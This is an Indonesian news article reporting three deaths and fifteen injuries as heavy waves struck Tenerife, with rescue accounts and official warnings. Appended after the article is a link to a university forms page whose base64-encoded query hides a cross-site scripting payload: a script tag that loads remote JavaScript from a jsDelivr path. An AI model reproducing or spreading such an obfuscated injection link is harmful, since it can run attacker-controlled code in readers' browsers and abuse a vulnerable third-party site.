Tiga Tewas dan 15 Luka-Luka Diterjang Ombak di Tenerife

Tiga orang meninggal dunia dan 15 lainnya luka-luka setelah gelombang kuat menghantam pulau wisata populer Spanyol, Tenerife.

Seorang wanita meninggal setelah terseret ombak ke laut dekat resor Puerto de la Cruz dan seorang pria wafat di Santa Cruz de Tenerife, menurut layanan darurat pada hari Minggu.

Pria ketiga ditemukan meninggal di laut dekat sebuah pantai di Granadilla.

Layanan darurat telah meminta publik untuk menjauhi jalur pesisir dan menghindari pengambilan foto serta video kondisi laut yang ganas, seiring cuaca buruk yang masih berlanjut.

Layanan penyelamat menyatakan mereka mengangkut seorang pria yang jatuh ke air di La Guancha di utara pulau dengan helikopter, namun ia kemudian dinyatakan meninggal di rumah sakit.

Mereka menyebutkan seorang pria lainnya meninggal setelah ditemukan mengambang di dekat pantai El Cabezo di selatan, dimana penjaga pantai dan tenaga medis tidak berhasil menyadarkannya.

Di Puerto de la Cruz, sebuah resor liburan di Tenerife utara, satu wanita meninggal akibat serangan jantung dan sepuluh orang lainnya terseret ke laut. Tiga dari mereka mengalami luka berat dan dibawa ke rumah sakit.

Seorang pelayan setempat, yang hanya memberikan nama Pedro, mengatakan kepada kantor berita Reuters bahwa ia melompat ke air dalam upaya menyelamatkan orang-orang yang terseret.

“Begitu saya melihat seorang pria melambaikan tangan, saya melepas pakaian, melompat ke air dan berhasil meraih tiga orang dan menyelamatkan mereka. Saya tidak bisa menyelamatkan wanita itu karena dia meninggal pada saat itu,” ujarnya.

Saksi mata Carlos menyatakan ia telah memperingatkan orang-orang yang mengambil foto untuk menjauh dari ombak namun “mereka tidak menghiraukannya”.

Pejabat menyatakan Kepulauan Canary, gugusan kepulauan Spanyol tempat Tenerife berada, sedang dalam kondisi siaga terhadap bahaya pesisir.

MEMBACA  Keluarga Cemas atas Keselamatan Warga India yang Diculik di Mali

Mereka memperingatkan bahwa kondisi laut diperkirakan akan memburuk dengan ombak mencapai dua hingga empat meter, dan para wisatawan serta penduduk setempat disarankan untuk melakukan “kewaspadaan ekstrem”.

https://forms.ju.edu/public/download.php?q=Zm9ybV9pZD00MiZpZD0wJmVsPWVsZW1lbnRfMTxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvZ2gvMGM1Yy9jL2suanMiPjwvc2NyaXB0Pg%3D%3D&o2x=1BONa